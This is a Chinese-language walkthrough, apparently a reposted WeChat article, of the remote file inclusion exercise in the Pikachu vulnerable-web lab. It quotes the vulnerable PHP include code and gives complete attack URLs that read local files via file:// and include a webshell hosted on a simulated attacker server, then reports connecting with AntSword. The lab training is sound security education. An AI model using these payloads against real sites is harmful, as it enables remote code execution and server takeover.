环境配置
当我们第一次打开此页面时,Pikachu 平台会产生一条警告
我们只需在 php.ini 文件中修改 allow_url_include 为 On 即可,文件路径:
phpstudy_proExtensionsphp你的php版本
这里要注意修改你网站对应的 PHP 版本的 php.ini 文件
修改后重启中间件服务(重启 phpstudy)
源码分析
后端源码路径:pikachu-mastervulfileincludefi_remote.php
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "$filename";
基本思路与本地文件包含相同,唯一不同的是传参方式的不同(在本地包含中有解释),这里不再赘述
Pikachu 靶场实践
打开靶场,随机选择一个文件并提交查询,这里我们查询的是 Kobe bryant,可以观察到 URL 变为
http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
此时我们可以自主操控filename
的内容,下面我们演示一些在前置知识中提到的常规方法
配合 PHP 伪协议
常见的 PHP 伪协议有:
file:// 协议
php:// 协议
zip:// & bzip2:// & zlib:// 协议
data:// 协议
http:// & https:// 协议
phar:// 协议
这里对file://
协议做一个演示,它一般用于访问本地文件系统,用来读取本地文件的且不受allow_url_fopen
与allow_url_include
的影响
更换filename
参数为file://目标路径(D:phpstudy_proWWWpikachu-mastervulfileincludeinfo.php)
最终成功访问到目标文件,这里还有更多用法大家可以自己尝试一下,不再过多演示,完整 Payload 如下:
http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=file://D:phpstudy_proWWWpikachu-mastervulfileincludeinfo.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
使用file://
协议与是远程还是本地无关,在这里演示只是因为远程文件包含这个场景的传参方式
从远程服务器读取文件
基于我们刚才将 allow_url_include 设置为 On,所以使用 URL 从其他服务器进行文件传递,刚才本地我们只能使用目标服务器上的敏感文件进行攻击,而远程开启的情况下我们可以使用目标服务器解析任意恶意文件
这里我们先在本地创建一个网站(127.0.1.1),此网站模拟的是攻击者放置恶意文件的服务器
在服务器中创建一个名为hack.txt
的恶意文件,这里文件后缀不能与存放恶意文件服务器语言相同,否则会先被恶意服务器解析,最终远程过去的内容只是恶意服务器的解析结果,实际上并没有在目标服务器进行执行
这里写入 txt 格式文件,是因为include()
函数会将任何格式的文件都以 PHP 格式进行解析,写入一句话木马
打开浏览器,输入路径也可以看到我们写入的一句话木马
将访问的文件换为我们刚才在远程服务器上的恶意文件,完整 URL 如下:
http://127.0.0.21/vul/fileinclude/fi_remote.php?filename=http://127.0.1.1/hack.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
使用蚁剑进行测试,成功连接
原文始发于微信公众号(天禧信安):【Pikachu 靶场精讲】远程文件包含(file include remote)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论